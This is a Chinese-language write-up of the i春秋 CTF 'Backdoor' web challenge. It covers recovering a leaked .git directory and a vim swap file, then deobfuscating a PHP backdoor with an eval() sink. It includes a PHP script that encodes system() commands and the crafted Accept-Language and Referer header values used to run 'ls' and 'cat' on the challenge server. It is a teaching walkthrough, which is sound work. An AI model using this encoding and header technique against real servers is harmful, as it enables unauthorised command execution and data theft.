i春秋Backdoor
点开是道没有任何窗口的题,右键查看源码也没上面东西,抓包试试,也没找到什么提示性的信息,根据提示去看看敏感文件泄露是什么吧
这里找到了篇敏感文件泄露的介绍及利用方法:https://www.cnblogs.com/pannengzhi/p/2017-09-23-web-file-disclosure.html
然后这里的使用方法就是在连接后面补充.git;.hg.......最后发现.git的报错是禁止访问,而其他的则是未找到,所以这里是git敏感文件泄露,而git文件是不能直接看到的,我们需要下载GitHack来下载利用泄露文件,这里附上下载链接:https://github.com/lijiejie/GitHack
下载后的使用方法也很简单,作用也就下载git敏感文件泄露。这里我们打开cmd,在cmd中打开GitHack的文件夹

再输入 python GitHack.py http://1270485ad6e5419eb84b2bbf2ca113ae47cf39637fcd4bf6.changame.ichunqiu.com/Challenges/.git/ 来下载网页上泄露的git,

不过这里涉及到.git文件的历史文件,也就是修改之前的文件,所以GitHack需要更麻烦的修改,所以这里使用Git_Extract,是个dalao自己写的,很方便,这里附上下载链接https://github.com/gakki429/Git_Extract,下载后使用方法也很简单,先通过cmd指令打开Git_Extract文件夹
cd C:\Users\七星\Desktop\tools\Git_Extract-master

然后python git_extract.py http://1270485ad6e5419eb84b2bbf2ca113ae47cf39637fcd4bf6.changame.ichunqiu.com/Challenges/.git/获取.git泄露文件

然后获取到.git及历史

全部打开一一检查发现了提示信息

所以我们根据提示搜索b4ckdo0r.php,界面上也没什么信息,还是同样的,查看源码,抓包没什么信息,可能还是敏感文件泄露,继续测试。。。。无果,看了下wp才知道这里是.swo备份文件泄露,具体的利用方法是直接url:http://037a02c1c0e34ad1b7ce0c816843af4837a413b838964a33.changame.ichunqiu.com/Challenges/.b4ckdo0r.php.swo访问就行了,会让我们下载备份文件,我们就先下载下来试试
下载下来后是需要我们恢复的swo文件,我们将其放在kali上进行vim的复原(将本地文件放入kali需要VM Tools,具体安装方法再本博客搜如何在kali Linux上安装VMware Tools)
复原步骤:
- 将下载好的swo文件改后缀为swp
- 将swp文件发送到kali上
- 在kali的终端上打开swp文件的目录
root@kali:~# cd /root/桌面

4.修复swp文件
root@kali:~/桌面# vim -r b4ckdo0r.php.swp
然后输入一次回车就可以得到修复好的swp文件了

这么密密麻麻的是混淆后的代码,我们将其复制到本地,在最后一行加入
echo ($L);

然后本地运行

但是发现这里折叠了,少了很多东西,一看源码才知道,这里存在<>,被html当标签处理了
所以这里直接查看源码,复制下来,整理一下,得到网页web源码了

然后分析源码,在43行找到了个可利用的eval()函数
再来解读下代码,
1.首先定义赋值两个参数
2.然后定义了一个函数,函数的功能是传入两个变量然后取其长度,将其变量与长度串联起来,输出串联后的变量和长度
3.再定义三个变量,其中rr是头部url,ra是头部传入的Language值
4.然后一个判断,如果rr和ra都存在就执行不存在就没了,所以这里rr和ra是必要传入的
5.if里面先定义了一个变量u,让其解析传入的url
6.把查询到的url中的query值传入变量中
7.让变量q等于query的数组
8.执行一个全局正则表达式的匹配
9.然后如果变量q和m都存在则又执行新的内容,否则什么都没有,所以这两个值一定是要有的
10.将请求的session值传入,保存到变量s中,然后又定义了ss和sl两个变量并赋值
11.定义一个变量i,让其等于m数组的第一个值并联第二个值
12.将i的值与kh的值并联,md5加密,然后返回前三位的值,将其给h
13.将i的值与kf的值并联,md5加密,然后返回前三位的值,将其给f
14.然后让变量p不断赋值,使其等于$q[$m[2][$z]](z从1一直变到m的上线)的并联
15.然后一个if判断,如果变量p中没有和变量h相同的的字符串就$s[$i]为空,p等于p的前三位
16.然后检查变量i中有没有s变量字符串,有的话就s[$i]与p并联,让变量e等于变量f在变量s[$i]中首次出现的位置,如果存在就继续执行
17.变量k的值等于变量kh与kf的字符串并联
18.打开web缓冲
19.然后是可利用的eval函数
20.把缓冲区数据传给变量o
21.清空缓冲区
22.然后给变量o压缩,进行x函数(最开始定义的函数),在base64解码,将其值给变量d
23.输出变量d
24.结束session
具体代码含义及利用方法请参考:https://www.cnblogs.com/sijidou/p/9827720.html
所以这里先利用eval()函数执行一次system(‘ls’)指令,而ls是要被加密解密复杂运算的,所以我们这里就先对他反向加密解密
附上一个dalao的脚本
<?php
function x($t,$k) {
$c=strlen($k);
$l=strlen($t);
$o="";
for($i=0; $i<$l;) {
for($j=0; ($j<$c&&$i<$l); $j++,$i++) {
$o.= $t{$i} ^ $k{$j};
}
}
return $o;
}
function get_answer($str){
$str = base64_decode($str);
$str = x($str, '4f7f28d7');
$str = gzuncompress($str);
echo $str . "<br>";
}
function input($cmd){
$str = 'system("' . $cmd . '");';
$t1 = gzcompress($str);
echo '$t1 = ' . $t1 . "<br>";
$t2 = x($t1, '4f7f28d7');
echo '$t2 = ' . $t2 . "<br>";
$t3 = base64_encode($t2);
echo '$t3 = ' . $t3 . "<br>";
return $t3;
}
$ra='zh-CN,zh;q=0.0';
input('ls');//get_answer(''); ?>
本地运行,得到ls的反向加密解密

然后对http://70b22a768b3e4610b5301bee9da8a9e449d6cccf2ba648e1.changame.ichunqiu.com/Challenges/b4ckdo0r.php进行抓包,修改Accept-Language的值,手动传入Referer的值来达到我们利用eval()函数执行system(‘ls’)的目的,然后运行一下得到返回值

Accept-Language: zh-CN,zh;q=0.0
Referer: http://8.8.8.8/index.php?a=675TPocyB4WLfrhNv1PZOrQMTREimJna3e
然后将返回值填入刚刚的脚本中进行解码

得到解码后的字符串

很明显,这里显示的this_i5_flag.php是网站根目录下的文件,我们访问试试
。。。。。好吧,想不通
看来还得通过利用eval()函数来执行system()函数进行访问
这里需要用到system(‘cat this_i5_flag.php’),所以我们就把cat this_i5_flag.php放到刚刚的脚本中进行反加密解密


然后之前的抓包中修改Referer
Referer:http://8.8.8.8/index.php?a=675TPocyB4WLfrhNn0oHmlM/vxKuakGtSv8fSrgTfoQNOWAYDfeUDKWa3e

运行一下得到返回值,再次将返回值复制到脚本然后本地运行,这里运行的结果是没有显示的,因为他在源码中是被注释的,我们右键本地运行的网页查看源码即可得到flag

i春秋Backdoor的更多相关文章
- i春秋 “百度杯”CTF比赛 十月场 web题 Backdoor
0x00: 打开题目,题目中告诉我们这题是文件泄露. 0x01: 通过扫描目录,发现可以扫到的有3个文件 index.php flag.php robots.txt 但是浏览flag.php它告诉我们 ...
- i春秋url地址编码问题
i春秋学院是国内比较知名的安全培训平台,前段时间看了下网站,顺便手工简单测试常见的XSS,发现网站搜索功能比较有意思. 其实是对用户输入的内容HTML编码和URL编码的处理方式在这里不合理,提交到乌云 ...
- 爱春秋之戏说春秋 Writeup
爱春秋之戏说春秋 Writeup 第一关 图穷匕见 这一关关键是给了一个图片,将图片下载到本地后,打开以及查看属性均无任何发现,尝试把图片转换为.txt格式.在文本的最后发现这样一串有规律的代码: 形 ...
- i春秋——春秋争霸write up
i春秋--春秋争霸write up 第一关 题目给出一张图 提示中,这种排列源于古老的奇书,暗含了两个数字,可以得出第一关的答案是两个数字 百度识图来一发, 得到图中排列是来自于洛书,点开洛书的百度百 ...
- WordPress Backdoor未授权访问漏洞和信息泄露漏洞
漏洞名称: WordPress Backdoor未授权访问漏洞和信息泄露漏洞 CNNVD编号: CNNVD-201312-497 发布时间: 2013-12-27 更新时间: 2013-12-27 危 ...
- i春秋与我
在i春秋论坛混迹了大半年了,在i春秋的在线平台学到了很多奇技淫巧,特别喜欢这个平台的气氛,以及虚拟在线网络环境的搭建, 忙周偷乐,过来也为i春秋做点小奉献,共同构造我们喜欢的春秋平台,成长特别快,特别 ...
- I春秋——Misc(贝斯家族)
不好意思呀!最近一直忙着学习python,竟然忘记更新I春秋里面的题目了(QAQ),我以后会时时刻刻提醒自己要更新 永远爱你们的! ----新宝宝 1:贝斯家族: 解题思路:我相信看见这一题都能够想到 ...
- i春秋------Misc更新
今天早上起来很开森!因为今天要打比赛了(2018年3月安恒杯线上赛),等到比赛开始得时候,发现自己登陆不上去 想了很久发现自己只是预约了比赛,并没有报名(QAQ ),心疼一下傻傻的自己.现在开始工作: ...
- 暖春许愿季丨i春秋给你送福利
没有一点点防备 也没有一丝顾虑 就这样出现——暖春许愿季 纳尼?这不是我的歌声里 是i春秋在搞活动 这次准备搞个大的 多大呢 看这里 你许下心愿 我帮你实现 这是一棵神奇的心愿树 是一个畅所欲言之地 ...
- 实战经验|大神战队都在i春秋教你打CTF
全国大学生信息安全竞赛创新实践能力赛旨在培养.选拔.推荐优秀信息安全专业人才创造条件,促进高等学校信息安全专业课程体系.教学内容和方法的改革,培养学生的创新意识与团队合作精神,普及信息安全知识,增强学 ...
随机推荐
- KingbaseES 导入导出blob列数据
KingbaseES兼容了oracle的blob数据类型.通常是用来保存二进制形式的大数据,也可以用来保存其他类型的数据. 下面来验证一下各种数据存储在数据库中形式. 建表 create table ...
- 【面试题】JS第七种数据类型Symbol详解
JS第七种数据类型Symbol详解 点击打开视频讲解更加详细 一.什么是Symbol? Symbol是ES6中引入的一种新的基本数据类型,用于表示一个独一无二的值.它是JavaScript中的第 七种 ...
- C语言可以在执行语句中间定义变量吗?
C语言可以在执行语句中间定义变量吗? 例如:for(int i=0; i<5; i++){ ...
- 第六章:Django 综合篇 - 12:聚合内容 RSS/Atom
Django提供了一个高层次的聚合内容框架,让我们创建RSS/Atom变得简单,你需要做的只是编写一个简单的Python类. 一.范例 要创建一个feed,只需要编写一个Feed类,然后设置一条指向F ...
- shell下cat EOF中变量$处理
在使用cat EOF中出现$变量通常会直接被执行,显示执行的结果.若想保持$变量不变需要使用 \ 符进行注释 [root@localhost ~]# cat >> aa.txt <& ...
- 从Spring Cloud微服务视角理解Kubernetes
- 浅谈 Golang 插件机制
我们知道类似 Java 等半编译半解释型语言编译生成的都是类似中间态的字节码,所以在 Java 里面我们想要实现程序工作的动态扩展,可以通过 Java 的字节码编辑技术([[动态代理#ASM]]/[[ ...
- Java程序设计(三)作业
题目1:用户输入学号,如果是以ccutsoft开头,并且后边是4位数字,前两位大于06小于等于当前年份.判断用户输入是否合法.ccutsoft_0801. 1 //题目1:用户输入学号,如果是以abc ...
- bfs与dfs基础
bfs像二叉树的层序遍历 像这个图走bfs就{1, 2, 3, 4, 5, 6, 7, 8}这样走: dfs就{1, 2, 5, 6, 3, 7, 8, 4}. bfs与queue相结合,走到哪就把哪 ...
- liunx之expect操作详解
导航: 一.expect安装.介绍.使用场景二.expect使用原理三.expect使用语法四.expect使用举例五.expect相关错误处理 - - - - - - - - - 分割线 - - - ...